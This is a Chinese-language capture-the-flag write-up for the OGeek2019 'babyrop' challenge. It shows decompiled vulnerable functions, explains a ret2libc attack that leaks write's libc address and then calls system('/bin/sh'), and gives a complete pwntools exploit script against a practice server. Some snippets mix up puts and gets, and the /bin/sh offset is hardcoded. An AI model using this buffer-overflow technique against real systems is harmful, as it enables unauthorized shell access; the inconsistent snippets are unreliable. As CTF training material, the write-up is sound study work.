OGeek2019-babyrop
基本流程
- 读取文件
sub_804871F
- 会输出文件内容
- 一个0x20u的read可以溢出
sub_80487D0
- 一个0xe7的read可以溢出
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s; // [esp+Ch] [ebp-4Ch]
char buf[7]; // [esp+2Ch] [ebp-2Ch]
unsigned __int8 v5; // [esp+33h] [ebp-25h]
ssize_t v6; // [esp+4Ch] [ebp-Ch]
memset(&s, 0, 0x20u);
memset(buf, 0, 0x20u);
sprintf(&s, "%ld", a1);
v6 = read(0, buf, 0x20u);
buf[v6 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf, &s, v1) )
exit(0);
write(1, "Correct\n", 8u);
return v5;
}
ssize_t __cdecl sub_80487D0(char a1)
{
ssize_t result; // eax
char buf; // [esp+11h] [ebp-E7h]
if ( a1 == 127 )
result = read(0, &buf, 0xC8u);
else
result = read(0, &buf, a1);
return result;
}
整体思路
本地没给system函数的got/plt表,因此得泄露某个函数地址
- 得到libc库版本
- 得到libc库偏移值
然后计算得到system bin_sh_add地址才行。
而本题只有一个sprintf是输出函数,而sprintf执行前在main中都有清空buffer区的代码,因此不能把某个函数真实地址写入buffer区然后读取,但是可以劫持write把地址写入文件,然后正常读取。
因为是x32 cdecl调用,栈的格式为(这里用write泄露write地址):
构造格式:
一个指令:cmd_address:gap_:arg1
- 后面不需要参数则不需要gap_
如system('/bin/sh')+exit(0)
- system_address:exit_address:binsh_address:p32(0x0)
- 其中,exit_address是再system('/bin/sh')执行完成后返回的地址
- 然后程序会执行exit(0)
# write(1, *write_got, 4) 即写入模式,写入write真实地址,写入4个字节(32位)
# 因为要调用后返回main调用system因此返回地址为main函数地址
p32(write_plt_add):p32(main_add):p32(1):p32(write_got_add):p32(4)
然后第二次执行sub_804871F的时候直接溢出使得直接调用system('/bin/sh')即可
第二次payload构造
p32(system_add):p32(exit_add):p32(binsh_add):p32(0)
通过泄露的write地址计算所需的地址:
# 使用pwntools读取得到返回的地址
raw_rev = ...
puts_addr = u64(raw_rev.ljust(8, b'\x00'))
# 使用LibSearcher进行搜索得到libc的库信息
# 比如版本号,类型等
libc = LibSearcher('puts', puts_addr)
# puts_addr是实际运行中libc中puts的地址,与libc.dump对应的地址比较计算得到基址
libc_base = puts_addr - libc.symbol('gets')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
注册机
其中有个未解开的疑点,如何使用elf读取libc并且得到字符串地址,参考上一题
- LibSearcher生成的对象libc1
- pwntools中的ELF生成的对象的libc2
方法一:
libc1.dump('str_bin_sh')
方法二:
X无法验证:libc2.search("/bin/sh").next()
方法三:
前面都是使用pwntools或者LibSearcher,这一种是使用one_gadget指令实现
liunx下
one_gadget libc文件
其中三种都没法用,最后在网上找的地址
# env
from pwn import *
from LibcSearcher import *
context(os="linux", arch="i386", log_level="debug")
r = remote("node3.buuoj.cn",26970)
elf = ELF('pwn_baby')
libc= ELF('libc-2.23.so')
binsh_offset = libc.search('/bin/sh')
# binsh_real = int(binsh_offset,16)
print('bin_sh',binsh_offset, type(binsh_offset))
# print(libc.symbols['bin_sh'])
# print(libc.symbols['str_bin_sh'])
### turn 1
# 溢出覆盖v5
payload = b'\x00' + b'a'*6
payload+= b'\xff'
sleep(0.3)
r.sendline(payload)
# 第二个函数溢出得到write函数地址,然后返回到main重新执行一次
r.recvuntil('Correct\n')
payload = b'a'*(0xe7 + 4)
# payload+= p32(elf.plt['write']) + p32(elf.symbols['main']) + p32(1) + p32(elf.got['write']) + p32(4)
payload+= p32(elf.plt['write']) + p32(0x08048825) + p32(1) + p32(elf.got['write']) + p32(4)
r.sendline(payload)
### turn 2
# 格式化处理得到的write地址
write_raw_add = r.recv(4) # 四字节32位就是地址长度
write_add = u32(write_raw_add) # return int address
print('write_add', hex(write_add))
# 计算地址
# libc = LibcSearcher('write', write_add)
libc_base = write_add - libc.symbols['write']
system_add= libc_base + libc.symbols['system']
exit_add = libc_base + libc.symbols['exit']
libc = LibcSearcher('write', write_add)
binsh_add = libc_base + 0x15902b #libc.search('/bin/sh').next()#libc.dump('str_bin_sh') #libc.search('/bin/sh').next()
# 组成payload
payload = b'a'*(0xe7 + 4)
payload+= p32(system_add) + p32(exit_add) + p32(binsh_add) + p32(0)
# 溢出覆盖v5
payload2 = b'\x00' + b'a'*6
payload2+= b'\xff'
sleep(0.3)
r.sendline(payload2)
# send
r.recvuntil('Correct\n')
r.sendline(payload)
### flag
sleep(0.3)
r.sendline('cat flag')
r.interactive()